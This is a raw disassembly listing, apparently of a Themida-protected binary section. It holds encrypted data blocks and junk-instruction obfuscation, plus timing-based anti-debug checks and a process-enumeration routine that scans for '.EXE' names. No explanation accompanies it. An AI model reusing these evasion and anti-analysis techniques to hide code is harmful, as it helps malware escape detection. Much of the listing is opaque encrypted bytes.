dd 423CCD05h, 19827A3Ah, 52FF949Fh, 0B078C2F6h, 8962C1D3h
dd 0BAE0C59Ch, 72550430h, 0F595487Eh, 49227BB8h, 4460EFh
dd 0BA3B0000h, 0D6AEEA1Ch, 0BB94AF57h, 0B00BAA7Dh, 800BACBh
dd 0D9AF57D7h, 0A0B93BBDh, 0C0BD31B9h, 58300206h, 66A2E4AFh
dd 5CAF5830h, 6F58F3F3h, 0EA1CBA7Ah, 0AF57D6AEh, 284ABB94h
dd 42293365h, 321752FFh, 0A9E7E0C5h, 55F3DC0Ah, 34569C1Ch
dd 0AF57D700h, 5BC469C2h, 0CF357138h, 0AF0940E4h, 9D5CFF84h
dd 3B6CB1FCh, 59BA6542h, 0FE2F7439h, 0BADCC9BAh, 0D6AEEA1Ch
dd 0BB94AF57h, 0B00BAA7Dh, 0BA3CDACBh, 0C341EB11h, 0DDC652E7h
dd 0DFCAE8F4h, 49EF15h, 4BF10000h, 57D6F931h, 0C860CBB2h
dd 0DB4E7E3h, 800BA18h, 0DEAF57D7h, 0D71216B0h, 47F0AF57h
dd 0D72119A3h, 48E3AF57h, 10F55EE0h, 52FFDDBAh, 6E10F317h
dd 0BADFE23h, 0EA1CBA20h, 0AF57D6AEh, 887DBB94h, 54DF93h
dd 0E7FA0000h, 0B3D90DB4h, 57D71109h, 75B5D7AFh, 4FAF57D7h
dd 0A2C1E2E4h, 7C5546EBh, 0BAF73Ch, 0AF57D708h, 0BA8B70D9h
dd 8BCBCB30h, 11931BE3h, 5256A0F4h, 0D380E1D9h, 98100996h
dd 52FFF552h, 21C53217h, 0D74941FBh, 983BAF57h, 64C5BEFBh
dd 0F22B88C1h, 0ACDF7DA6h, 0FA000000h, 0DC0AA9E7h, 622B4DB6h
dd 0BA4CEC3Dh, 0AF57D786h, 1FF1327Ch, 0B62F2761h, 0ACCF50DDh
dd 0A982CB6Dh, 0BFF6927Dh, 0FFB49379h, 0C330155Ch, 0DB4E7E6h
dd 0F4FDDA18h, 15DFCAE8h, 0F0B9DCC7h, 1C3E7AB3h, 2Ah, 0DB4E727h
dd 1E57F6D9h, 0B109891h, 93B31CBAh, 0D05851DEh, 57D71216h
dd 6247F0AFh, 52FFDDBAh, 0E0C53217h, 3EDFh, 0B4E7FA00h
dd 0BA180Dh, 0AF57D708h, 9558F5DEh, 68C0B9F4h, 4D042485h
dd 0E9DEB7E0h, 52FFDDBAh, 3355F317h, 0AF57D6F7h, 600162CDh
dd 0BAA08B2Dh, 9002E230h, 0BA2B258Ch, 514AD79Eh, 0FF3962C7h
dd 6AAED85Ch, 58AF57D7h, 79B1CBFFh, 4BAF57D7h, 0F9AAF7E0h
dd 2B94125Bh, 1ADC4108h, 0AF57D71Ch, 2C33FCD9h, 59FA4009h
dd 302E733Ah, 0B6E2AFCFh, 0F8D3F117h, 440D3037h, 0A1D745C6h
dd 0D3501D3Eh, 0D6F830DAh, 61CAAF57h, 85285288h, 7FB5FFE1h
dd 878F4FD4h, 23B5FFE1h, 0FFEBE748h, 1E1477DCh, 28h, 155CFF21h
dd 0D74A4E88h, 3859AF57h, 0DB772875h, 75F9119Eh, 0A3EDE523h
dd 36FFF48Ch, 0F2B318A7h, 0E88948EBh, 517ECCA5h, 0FC9D5CFFh
dd 0A33B6CB1h, 96EF0E6Fh, 0E74C25B8h, 994DF626h, 77B3D573h
dd 4DAF5835h, 0DAB0B6E2h, 0A8B605A6h, 1B9D5B6Eh, 325459FAh
dd 0B60592F6h, 918A63CCh, 0B902B215h, 5AFCE70Dh, 7918A17h
dd 0AD9D5EC1h, 0E38324BCh, 9CE1D963h, 88A3BCADh, 9F00A69Fh
dd 3C6DB2FFh, 0F0D30FFCh, 8F98054Ch, 9CD7DF29h, 18F3BCADh
dd 10AF9B97h, 1A4E1F8Ah, 0D1000000h, 0DC0AA9E7h, 57D77EAAh
dd 0C26344AFh, 8F70968Fh, 991AA0E9h, 38h, 0EA1CBABCh, 0AF57D6AEh
dd 0AA7DBB94h, 58153516h, 1501BB6Fh, 0CBAF57D7h, 0A60B46E8h
dd 0FF1D2375h, 953D7414h, 0AF57D795h, 3FEBC46Fh, 400D2E91h
dd 0C16ECAE3h, 7358EEA7h, 179DFh, 0ABE7FA00h, 0E6C31308h
dd 30155CFFh, 95E130BAh, 0B0C32191h, 0F4B59278h, 15DFCAE8h
dd 1CEFh, 0ABE73000h, 0BA1308h, 0AF57D708h, 0BA7451FAh
dd 1059FFDDh, 0DFE0C52Bh, 3Eh, 8ABE7FAh, 3BF398D2h, 0A86BAA63h
dd 0B54D7CAEh, 58D0D041h, 800BA53h, 0D9AF57D7h, 0B5F517BDh
dd 8FAF57D6h, 0D71E1AA4h, 86E4AF57h, 57D74444h, 3C153EAFh
dd 0DDBA6643h, 2B1059FFh, 5CFFE0C5h, 314BF115h, 0AF57D6F9h
dd 0E3C860CBh, 0B4E7E6C3h, 0B6AFE685h, 0C58CAF10h, 228FC264h
dd 0DA84AF09h, 3474963Ch, 0EAF57D7h, 0F4A8F325h, 15DFCAE8h
dd 5EEFh, 2C67F100h, 0AA7B2A00h, 0C6BFF692h, 1CBA4952h
dd 57D6AEEAh, 4ABB94AFh, 0E13A672Eh, 0E65DF0B7h, 0DA1CBA01h
dd 548C95CEh, 0B3B5E3BBh, 0AF583277h, 0BA05E24Dh, 0D6AEEA1Ch
dd 0BB94AF57h, 0BA88F77Dh, 0BBD3559h, 0AF57D70Fh, 69615AF5h
dd 0CBC8E38Ah, 61CE6AA3h, 0C59C89CCh, 43DFE0h, 0E7FA0000h
dd 0BA180DB4h, 57D70800h, 58F5DEAFh, 1187901Dh, 1C1CAECCh
dd 0E6AF57D7h, 0D7424680h, 1700AF57h, 7BA1453Eh, 57D6C9C1h
dd 1890BBAFh, 3859BA13h, 0B9FF2875h, 52FFD4B3h, 69B6F39Fh
dd 0C5624730h, 9C5DFFE0h, 3F68B5FCh, 1611D946h, 0E9AF57D7h
dd 82C33FCh, 0C58FAEA0h, 524BE8A5h, 0BDCD1E98h, 9333E325h
dd 5D36B8A7h, 5DFFE2C9h, 76168F14h, 4DE9BB7h, 0D0AD41ADh
dd 29766F4Eh, 5D64CD66h, 0D630763Fh, 0AF58A90Fh, 74B9F094h
dd 0E7D24A23h, 2E12DF00h, 4EEAA3C5h, 0FFFE558Ch, 5EA697FFh
dd 1CAF57D7h, 0AF57D798h, 8EC7654Eh, 0D6DBDC2Ah, 9591AF57h
dd 57AF57D7h, 0AF57D74Fh, 5951EB11h, 2BAF57D7h, 565EA800h
dd 556F57D7h, 1CAE5CE7h, 7602C3CFh, 410C2E91h, 6B2E43DCh
dd 3F182672h, 4900288Bh, 0FDE67CEFh, 4831550h, 2B8FA390h
dd 85030653h, 423B14EBh, 1CE362A4h, 76A17CAAh, 7FED3652h
dd 0E8595A2Ch, 285h
dd 6EBCF594h, 59EDA8C5h, 8F1B52F6h, 0FF4B0E24h, 287E3354h
dd 63040EA3h, 1737982Eh, 0C163CC5Ah, 0F2913288h, 6DFF6FBBh
dd 54FDFDBh, 0B867A5B6h, 763F59BAh, 97DE7D22h, 0A813810Ah
dd 482EC872h, 0B314B605h, 0B3F71195h, 91B60547h, 1235CDA6h
dd 0B9C34057h, 0DB2D7952h, 0B60533DBh, 23C77CD0h, 0B2A5AB99h
dd 0C15F99BCh, 6245B1BDh, 9E773A5Ch, 0AEF701A5h, 36D8AC72h
dd 8D2B3167h, 0EF490C22h, 0D6541D40h, 0E512AE28h, 8B430A29h
dd 15763CE7h, 0A6F73C79h, 268EAD72h, 0A3F04682h, 0D45932E4h
dd 0B2091A12h, 982391BCh, 7A46D862h, 133CC35Fh, 20690CF7h
dd 347919FAh, 96B51EE4h, 6BC952DFh, 377C3558h, 0AFD90DE6h
dd 0CA0CEBCDh, 96179CB7h, 86699D26h, 4B0226E7h, 2DCB5E6h
dd 7D1AE25Ch, 569C1C82h, 0BADC0234h, 0B357C0D0h, 26642D50h
dd 0A97DE7Dh, 1F52F3DCh, 0F6325492h, 0CCD0BADBh, 0D82E8A63h
dd 0D0BAF5DCh, 20C67DDFh, 686800E6h, 0C469C2D7h, 0BC6AD143h
dd 1091DF0Ah, 5E8AA5DEh, 0CB197934h, 5A867FBCh, 69000001h
dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h, 0BAA004h
dd 0B6055108h, 0E797BCFAh, 818DEFB5h, 0A0BF11CDh, 62D913B7h
dd 0D74D107Dh, 64A64CECh, 0B6058782h, 0C14AD740h, 0A7E32553h
dd 9DB60587h, 9B2DD9B2h, 0BCAD97F0h, 216C0DF6h, 0C30DABFCh
dd 730CB068h, 2F8CEC7Ch, 0E856h, 1950F700h, 480D228Dh
dd 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh, 96398DC0h
dd 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 528286C0h, 3A40B605h
dd 0EB5E71Dh, 48D0AED8h, 99B2B605h, 29E88B14h, 0DE6C4508h
dd 129FD675h, 6A902B89h, 0B2B9E2D0h, 0BAA0BCh, 0BCB2BA08h
dd 227851FAh, 2264EC81h, 0BCB2B9E6h, 37B947D4h, 0D111F482h
dd 96398D66h, 0E10FBBF2h, 0B1F963A7h, 0A2F621BCh, 9EDB77D8h
dd 0ABE68768h, 7B1C870Dh, 0F6469036h, 6451649Eh, 61C248E0h
dd 96398DC0h, 0E70DB9F4h, 0B28965A5h, 0A4F45FBCh, 16D775DEh
dd 7BAEDA72h, 161D87ACh, 5DC6443Dh, 9033773Eh, 0F967A3EEh
dd 91B17416h, 6DBEE3DCh, 63D87CCBh, 410F0547h, 5AF5C360h
dd 0E8294CD5h, 0EA100940h, 6E96F060h, 96022173h, 3A32Ch
dd 0B0860000h, 1158FFCBh, 3970138Ch, 40092BF4h, 6D2042E3h
dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
; ---------------------------------------------------------------------------
dec edx
cli
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 7393h
mov [esp], esi
mov esi, 57591685h
xor esi, 62CF05C7h
shl esi, 6
add esi, 0A128A116h
mov edx, esi
pop esi
push esp
mov ecx, [esp]
add esp, 4
push eax
mov eax, 8
sub eax, 1684087h
add eax, ecx
add eax, 1684087h
mov [eax], edx
pop eax
push dword ptr [esp]
pop ecx
add esp, 4
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
loc_5A16B5: ; CODE XREF: Themida_:005A16BAj
jmp loc_5517CE
; ---------------------------------------------------------------------------
jge short loc_5A16B5
lea edx, [edi]
jle short loc_5A16D7
jns short near ptr loc_5A16D7+1
pop ecx
mov eax, 6AD7C15h
add eax, ebp
mov eax, ebx
jmp loc_5A1937
; ---------------------------------------------------------------------------
db 60h, 66h, 8Ch
db 0D9h, 0F6h, 0C1h
; ---------------------------------------------------------------------------
loc_5A16D7: ; CODE XREF: Themida_:005A16BEj
; Themida_:005A16C0j
add al, 0Fh
test ds:6A000000h, dh
add edi, edi
mov ch, 0F9h
xor [eax+71858D06h], ebp
imul ebp, [ebx-762F00FAh], 0A8268D85h
push es
mov edi, esi
shr edi, 0Ch
push 20060000h
push 0
push 2
push edi
push 1000Dh
call dword ptr [ebp+6A8268Dh]
jmp loc_5A1745
; ---------------------------------------------------------------------------
mov byte ptr [ebp+6A815D5h], 56h
push 0A9C530DFh
push dword ptr [ebp+6A80F95h]
lea eax, [ebp+6AB6971h]
call eax
mov [ebp+6A81405h], eax
lea eax, [ebp+6A80755h]
push eax
push 40h
push 5
push esi
call dword ptr [ebp+6A81405h]
loc_5A1745: ; CODE XREF: Themida_:005A170Ej
popa
retn
; ---------------------------------------------------------------------------
align 4
dd 2 dup(0)
dd 52000000h, 8B60D48Bh, 85890842h, 6AD7D42h, 890C428Bh
dd 0AD7D3A85h, 10428B06h, 7D3E8589h, 0B58D06ADh, 6AD7D78h
dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 42B58B00h, 8B06AD7Dh
dd 0AD7D3A85h, 3EBD8306h, 6AD7Dh, 7840Fh, 6890000h, 2E9h
dd 0CF068800h, 2 dup(0)
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+6AD7D42h], eax
lea esi, [ebp+6AD7DC9h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
mov eax, [ebp+6AD7D42h]
retn 4
; ---------------------------------------------------------------------------
dw 858Bh
dd 6AD7D42h, 8589008Bh, 6AD7D42h, 0CFh, 0B5896000h, 6AD7D9Fh
dd 7D9B8589h, 858D06ADh, 6A82815h, 8944408Bh, 0AD7DD885h
dd 0EB58D06h, 8D06AD7Eh, 5B8EA185h, 61D0FF00h, 7D9F858Bh
dd 8BC306ADh, 0AD7D9B9Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh
dd 6AD7D9Bh, 324738Bh, 0AD7D9BB5h, 7B8B5606h, 1C738B20h
dd 7D9BBD03h, 0B50306ADh, 6AD7D9Bh, 0FFC983FCh, 9F9D8B41h
dd 8B06AD7Dh, 9B950317h, 8306AD7Dh, 28A04C7h, 840FC084h
dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 9B850386h, 8906AD7Dh
dd 0AD7D9F85h, 8BF08B06h, 81C18BCEh, 0AD7DD8BDh, 30000006h
dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
dd 3FF8h, 7DD8BD8Bh, 0C8306ADh, 148B0607h, 24C28B07h, 8B813C81h
dd 57840FC1h, 81000000h, 0AD7DD8BDh, 30000006h, 0D850FC0h
dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 7DD8BD81h, 6ADh
dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h
db 8, 6, 0CFh
; ---------------------------------------------------------------------------
loc_5A1937: ; CODE XREF: Themida_:005A16CCj
lea eax, [ebp+6AD7D46h]
mov [ebp+6A80D65h], eax
lea eax, [ebp+6AD7DDCh]
mov [ebp+6A81EB9h], eax
lea eax, [ebp+6AD7DA3h]
mov [ebp+6A816F5h], eax
lea ecx, [ebp+6AD803Ch]
push 0
push ebx
call sub_5A196C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A196C proc near ; CODE XREF: Themida_:005A1964p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5A196C endp
; ---------------------------------------------------------------------------
adc al, 35h
adc bl, [esi+38h]
xchg eax, edi
nop
pop eax
aam 8Bh
retn 89F8h
; ---------------------------------------------------------------------------
lea edi, [ecx+6606A805h]
xor edx, 85C7A118h
imul edx, [eax+ebp*4], 6F9C06h
add [edx+0], ch
push edi
call sub_5A19A8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A19A8 proc near ; CODE XREF: Themida_:005A19A0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5A19A8 endp
; ---------------------------------------------------------------------------
dd 0CB83E112h, 8BBCE889h, 0A8349595h, 0BD85C706h, 6A80Bh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 864DC357h, 66F7C001h, 0B5FFC38Bh
dd 6A80E01h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 4FC35646h, 0BE66BA76h, 95FF2C4Fh, 6A820DDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A9C35545h, 191B8763h
dd 6A83F4h, 1B3195FFh, 0C08B06A8h, 0BC6049EBh, 5DA888A2h
dd 8266115Eh, 0DC4D84A6h, 2700CBECh, 0EA757DF5h, 0A5F925FBh
dd 78B7871h, 168A4BC5h, 6055D774h, 0C68A9BA4h, 1F2133E8h
dd 39654041h, 341B3413h, 0FF75E063h, 0D4DA76AFh, 98AC3406h
dd 0E40B160Bh, 2C5D777Fh, 161E0B1Dh, 802A2FB1h, 3DF36D6Dh
dd 4C07797Fh, 0FF7B053Bh, 54FDD47Eh, 0B180978Bh, 1032E98Bh
dd 90D079FFh, 721C7D0Bh, 50014986h, 0F93DD53Dh, 3E32D401h
dd 1F263D6Ah, 9146D43Bh, 0DF5F2048h, 8E17F34Bh, 1CB69244h
dd 0A5938B62h, 1C683566h, 1DD135BAh, 0F653F7B8h, 8F32D6CBh
dd 0C73E5034h, 0E4DBD43Bh, 0A432D43Bh, 0E0945A86h, 0C1B124B8h
dd 389AC31Eh, 8B6DB3Bh, 532D43Bh, 0C5F83DF0h, 6854D43Bh
dd 91CBB4EBh, 7F3D8B6Bh, 7C32D43Bh, 0BBBFB55Ah, 199F5491h
dd 1FF95F5Dh, 35B9B25Bh, 0EDDA845Ah, 0BC32D43Bh, 787417E4h
dd 9486CD60h, 0A2F4921Ah, 46FD5F2Fh, 0DF32BEABh, 0C732D7D3h
dd 206AF43Bh, 0D5765D63h, 0DC76553Fh, 7C32CD3Fh, 0FD62943Bh
dd 395E67D4h, 53D1453h, 0C732D43Eh, 0F142B985h, 7DB7593Bh
dd 923479BBh, 7FDA823Bh, 1E32D43Bh, 966C1765h, 0E36F04Fh
dd 0D136F07Fh, 0A532D43Bh, 9EA1176Dh, 4BE55599h, 2C54C2B6h
dd 668C866Bh, 1059E88Ah, 0D5F85F0Ah, 0E3365D63h, 0E3355234h
dd 723DD43Bh, 0F832D43Ah, 49A72BCEh, 0B5347C21h, 946387FBh
dd 0C6C8BC0h, 6F2C0D86h, 0EA47D43Dh, 0DCDB69B8h, 8C32D293h
dd 0F7618422h, 3A486CFBh, 9ABBD43Bh, 899AD38Eh, 669E49B6h
dd 30CDD291h, 4CB18C60h, 0FE9AF9D2h, 2C25A03Bh, 3A486C68h
dd 9ABBD43Bh, 899AD38Eh, 59A949B6h, 30CDD291h, 0F6DB8C60h
dd 6E32D43Bh, 4C7F44A9h, 0B460D680h, 0A83D8DF7h, 4F25FF5h
dd 0C73E3DE8h, 94DDD43Bh, 1796E976h, 0B3970F96h, 0E1BF9F11h
dd 389F54AFh, 1F325F34h, 0ABFD43Bh, 0C19FBAC9h, 442E6A5Bh
dd 7A54E0ABh, 28CDB5F9h, 9467D451h, 3E32D438h, 42F1891Bh
dd 8B16B8B2h, 0C31690BAh, 0E332D421h, 71F1817Eh, 31D50AA6h
dd 0BC3915FFh, 3E6E5034h, 7952D43Bh, 0C3F714BAh, 68AF595Ah
dd 89347C74h, 0F2DA843Bh, 0D832D43Bh, 0F56A1763h, 0BF36F07Fh
dd 436F07Fh, 0CF32D43Bh, 6C19176Bh, 3C10E65Eh, 0F28A64B5h
dd 732D43Bh, 2B32BED8h, 3E32D7D3h, 0DC6DF43Bh, 0AB4E5D64h
dd 0E376553Fh, 0E332CC3Fh, 3265933Bh, 57C611CDh, 95B3B2EEh
dd 0A3BF64EFh, 199F54A7h, 6767D451h, 0C732D438h, 0BEF1891Bh
dd 0F516B8B2h, 0FC1690BAh, 7C32D422h, 0BCF1817Eh, 7D84CAFAh
dd 7D85559h, 4A29ACF0h, 4E5C26BEh, 0A032BE3Dh, 0F832D7D3h
dd 0BF6BF43Bh, 1A7E5D62h, 3B76553Fh, 8F32CF3Fh, 463953Bh
dd 0C8E621B7h, 7C6C7515h, 4F3D04C4h, 73F2DFECh, 3E3288BFh
dd 4E32BE3Bh, 8F32D7D3h, 46BF43Bh, 0C77E5D62h, 0D576553Fh
dd 0F832C23Fh, 0BF63953Bh, 87EAF02Bh, 371589D9h, 0C09D49B6h
dd 703DD293h, 0E3336CF3h, 0F158D43Bh, 0F8313C6Eh, 2112D43Bh
dd 52BB89F8h, 5BB3D01Fh, 8F2FD01Fh, 9277D43Bh, 363DCBF8h
dd 6404DCA2h, 75A065Ah, 0B38CB2D8h, 9FAF5933h, 9E3479BBh
dd 5B69AF1h, 35B75914h, 0EC347955h, 0F132D1BFh, 2EB3B23Bh
dd 0ACCD3A40h, 0FE398D6Dh, 1F205034h, 454D43Bh, 68AF59F1h
dd 5B347C74h, 0F132D438h, 0AF8037C4h, 0F68F5978h, 0B33479BBh
dd 0B2B120B6h, 0D34F6C3Dh, 42015E70h, 0E59ACDC6h, 0BFF31B10h
dd 9F54A7A3h, 67D45119h, 32D43867h, 0F1891BC7h, 16B8B2BEh
dd 1690BAF5h, 5E983FCh, 0C08BA4F3h, 8BC38BFCh, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 5A1A1A5Ah, 0D9BD83FCh, 6A81Eh, 0BD830975h, 6A82DE9h
dd 50197400h, 0B8C08B53h, 47Ah, 0FD58589h, 9D8D06A8h, 6AAA213h
dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 47Ah, 0FD58589h
dd 9D8D06A8h, 6AA9EB4h, 585BD3FFh, 53006AF9h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0CB8B660Ah
dd 3CE9C08Bh, 1, 4Eh dup(0)
dd 83000000h, 0A821C5BDh, 840F0106h, 5B7h, 0A1B86660h
dd 85C66148h, 6A815D5h, 0F8D0F43h, 0E9000000h, 0Ah, 222462D8h
dd 33F04211h, 2B6878C9h, 0FE97DAAh, 0B8Ch, 8B666000h, 850FF8h
dd 61000000h, 0DE243481h, 0E905D87Ah, 0Eh, 64844FC0h, 0E783DD74h
dd 6CCC8354h, 0B5FFF909h, 6A80F95h, 18A0Fh, 8DF90000h
dd 0AB697185h, 0AE906h, 3F3A0000h, 737795D4h, 5CB6F09Fh
dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 89F950C3h, 0A832A985h, 0BB666006h, 0BE6695F5h
dd 0C6614DACh, 0A815D585h, 6A5006h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 24F2F9C3h
dd 0C8C0Fh, 850F0000h, 6, 8B0Fh, 4E80000h, 56000000h, 50A8ADADh
dd 5E516052h, 0F61C88Ah, 76BA6031h, 0F08F410h, 80h, 585A6100h
dd 5E950h, 3EDB0000h, 8BA8461Bh, 50042444h, 6870F52h, 50000000h
dd 5A310F52h, 60310F58h, 880Fh, 5A610000h, 50008B58h, 10E952h
dd 1E760000h, 8406A45Dh, 0F9A08F2Dh, 0AEBB4C8Ah, 310FD6E0h
dd 9E9h, 5075C300h, 46412D0Eh, 585AAFE6h, 4244489h, 66605250h
dd 5250DA8Bh, 585A310Fh, 50310F61h, 8D0F52h, 0F000000h
dd 5A616031h, 58585A58h, 95B5FFF8h, 6A06A80Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0ABD1C351h, 14E97Bh, 70900000h, 0C6D9A02Fh, 58729AFDh
dd 0C1C1F46h, 0C4705FE2h, 8A6074FEh, 3820FCBh, 66000000h
dd 0F61C88Bh, 18Fh, 858DF900h, 6AB6971h, 7E9h, 25067700h
dd 0F4F80246h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 3A8D9AC3h, 850FDA07h, 7, 1860Fh
dd 89F50000h, 0A80EB985h, 8B666006h, 0C86CBBD6h, 0E8616404h
dd 4, 0F08FA82Fh, 8B6AB260h, 505061DEh, 68A0F52h, 0F000000h
dd 8Dh, 0F310F00h, 68Bh, 0F525000h, 5A585A31h, 24448B58h
dd 13810F04h, 0E9000000h, 0Eh, 0DB2B4F4Dh, 0C784504Bh
dd 78630C4Bh, 8BE13Dh, 11880Fh, 0E9600000h, 8, 78DEB417h
dd 83F2DEEEh, 89615857h, 0E9042444h, 7, 0ABA1A5A9h, 58B982EBh
dd 61D38B60h, 0F98B6660h, 0FF61E9B2h, 0A80F95B5h, 8850F06h
dd 0F000000h, 280h, 0F8616000h, 6971858Dh, 860F06ABh, 10h
dd 0BE9h, 0A3462400h, 9E541493h, 7A5C8561h, 6AD0FFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 1B77CDC3h, 7E9h, 696D1700h, 898A305h, 12E9h, 0C9FDEF00h
dd 27949252h, 0D1754A99h, 4CB49D86h, 89C76D3Dh, 0A8018185h
dd 0EE906h, 0A0560000h, 0E51CC6C6h, 0F02B76CEh, 0AA60DBE2h
dd 6E9h, 445FD600h, 0C6DD025Dh, 0A815D585h, 6A5006h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0E9706BC3h, 0Eh, 91106F11h, 5E6EB632h, 52BD513Ch, 0AE9FAFEh
dd 0B0000000h, 98ABC025h, 2DD2E4C0h, 133168DDh, 52509A79h
dd 6800Fh, 810F0000h, 0
dd 8E9310Fh, 0B8000000h, 4DC579B4h, 5AAAC813h, 24348158h
dd 0DE5CF67h, 0F9B5FFF9h, 0F806A831h, 3AC3858Dh, 6A06A8h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0C810D0C3h, 6660A621h, 4444E081h, 0F78CBE66h, 0FD0FF61h
dd 1584h, 61606000h, 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h
dd 858961F5h, 6A814C1h, 0C8B70F60h, 0DE9h, 79917900h, 82975AB8h
dd 0A3867FADh, 0E9617F53h, 19Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 59C35545h, 50EDDE23h, 52505250h
dd 310F5250h, 310F585Ah, 830Fh, 585A0000h, 5250310Fh, 310F6160h
dd 820Fh, 585A0000h, 2C89585Ah, 0EC8BF924h, 0C8D0Fh, 840F0000h
dd 6, 840Fh, 0C4830000h, 6660F5FCh, 305ED881h, 42BDF081h
dd 606146E8h, 68D0F60h, 81000000h, 0A695DE9h, 0D68B664Eh
dd 0E861h, 815A0000h, 0AD8A91EAh, 0FC45C706h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [edx+6A821C5h], 1
jz loc_5A2551
push edx
push 0
push 0Fh
call dword ptr [edx+6A832A9h]
pop edx
mov [edx+6AD84AAh], eax
lea ebx, [edx+6AD84AEh]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+6A80EB9h]
pop edx
loc_5A24E1: ; CODE XREF: Themida_:005A250Bj
; Themida_:005A253Fj
push edx
lea ebx, [edx+6AD84AEh]
push ebx
push dword ptr [edx+6AD84AAh]
call dword ptr [edx+6A814C1h]
pop edx
or eax, eax
jz short loc_5A254A
lea ebx, [edx+6AD84AEh]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5A2505: ; CODE XREF: Themida_:005A2515j
cmp ecx, 104h
jz short loc_5A24E1
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5A2505
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+6A80305h]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+6A80305h]
push eax
call dword ptr [edx+6A80181h]
pop edx
or eax, eax
jnz short loc_5A24E1
mov dword ptr [ebp-4], 1
jmp short loc_5A2551
; ---------------------------------------------------------------------------
loc_5A254A: ; CODE XREF: Themida_:005A24F8j
mov dword ptr [ebp-4], 0
loc_5A2551: ; CODE XREF: Themida_:005A24B3j
; Themida_:005A2548j
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
jo loc_5A256B
pusha
xor edi, 6985CDC8h
mov dx, 2BBFh
popa
loc_5A256B: ; CODE XREF: Themida_:005A2559j
push 0
push edx
call sub_5A2576
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A2576 proc near ; CODE XREF: Themida_:005A256Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5A2576 endp
; ---------------------------------------------------------------------------
dec edx
adc ebx, [edi+7Bh]
stosb
stosb
jmp loc_5A259D
; ---------------------------------------------------------------------------
db 70h, 6Ch, 2Dh
dd 6CBDAC7h, 92383331h
db 0F2h
; ---------------------------------------------------------------------------
loc_5A259D: ; CODE XREF: Themida_:005A258Cj
jnb loc_5A25B7
pusha
jmp loc_5A25B0
; ---------------------------------------------------------------------------
db 0C5h, 0E8h, 48h
; ---------------------------------------------------------------------------
setalc
push eax
stc
pop edx
loc_5A25B0: ; CODE XREF: Themida_:005A25A4j
jns $+6
popa
loc_5A25B7: ; CODE XREF: Themida_:loc_5A259Dj
mov edx, edx
call sub_5A25C4
icebp
ficom word ptr [ebx]
xchg eax, ebx
test bl, al
; =============== S U B R O U T I N E =======================================
sub_5A25C4 proc near ; CODE XREF: Themida_:005A25B9p
; FUNCTION CHUNK AT 005A2688 SIZE 0000000E BYTES
mov di, 0FB55h
pop ebx
mov dx, cx
add ebx, 5A7Ah
ja loc_5A25E2
pusha
mov bl, al
jz $+6
popa
loc_5A25E2: ; CODE XREF: sub_5A25C4+Ej
push 166Dh
mov dx, 0E11Fh
pop ecx
mov edx, edi
push dword ptr [ebx]
